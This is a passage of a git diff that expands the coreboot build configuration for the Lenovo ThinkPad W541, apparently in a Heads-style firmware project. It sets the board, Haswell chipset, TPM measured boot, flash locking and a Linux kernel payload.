+CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index e0f55bd95..69dc970d8 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -1,27 +1,705 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set # CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_ROMSTAGE=y +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="ThinkPad W541" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad W541" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/haswell" +CONFIG_VGA_BIOS_ID="8086,0166" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x800000 +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="w541" +CONFIG_OVERRIDE_DEVICETREE="" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xff7c0000 +CONFIG_DCACHE_RAM_SIZE=0x10000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x2000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/w541/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/w541/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/w541/gbe.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +# CONFIG_ENABLE_DDR_2X_REFRESH is not set +CONFIG_PCIEXP_AER=y +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W541" CONFIG_HAVE_IFD_BIN=y +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set CONFIG_BOARD_LENOVO_THINKPAD_W541=y +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set +# CONFIG_BOARD_LENOVO_X230 is not set +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_BOARD_LENOVO_HASWELL_COMMON=y +CONFIG_VBOOT_SLOTS_RW_AB=y +CONFIG_PS2K_EISAID="LEN0071" +CONFIG_PS2M_EISAID="LEN004A" +CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" +CONFIG_GFX_GMA_PANEL_1_PORT="DP3" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +CONFIG_COREBOOT_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=12288 +CONFIG_ROM_SIZE=0x00c00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xe8000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HAVE_MRC=y CONFIG_MRC_FILE="@BLOB_DIR@/haswell/mrc.bin" +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x30000 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_DISABLE_ME_PCI=y +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=6 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_HASWELL=y +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_VOLTAGE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_NORTHBRIDGE_INTEL_HASWELL=y +# CONFIG_USE_NATIVE_RAMINIT is not set +# CONFIG_USE_BROADWELL_MRC is not set +CONFIG_HASWELL_HIDE_PEG_FROM_MRC=y + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_LYNXPOINT=y +CONFIG_FINALIZE_USB_ROUTE_XHCI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_H8_HAS_PRIMARY_FN_KEYS=y +CONFIG_H8_HAS_LEDLOGO=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_HAVE_EM100PRO_SPI_CONSOLE_SUPPORT=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_DDI=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Haswell" +CONFIG_GFX_GMA_PCH="Lynx_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_EM100PRO_SPI_CONSOLE is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set 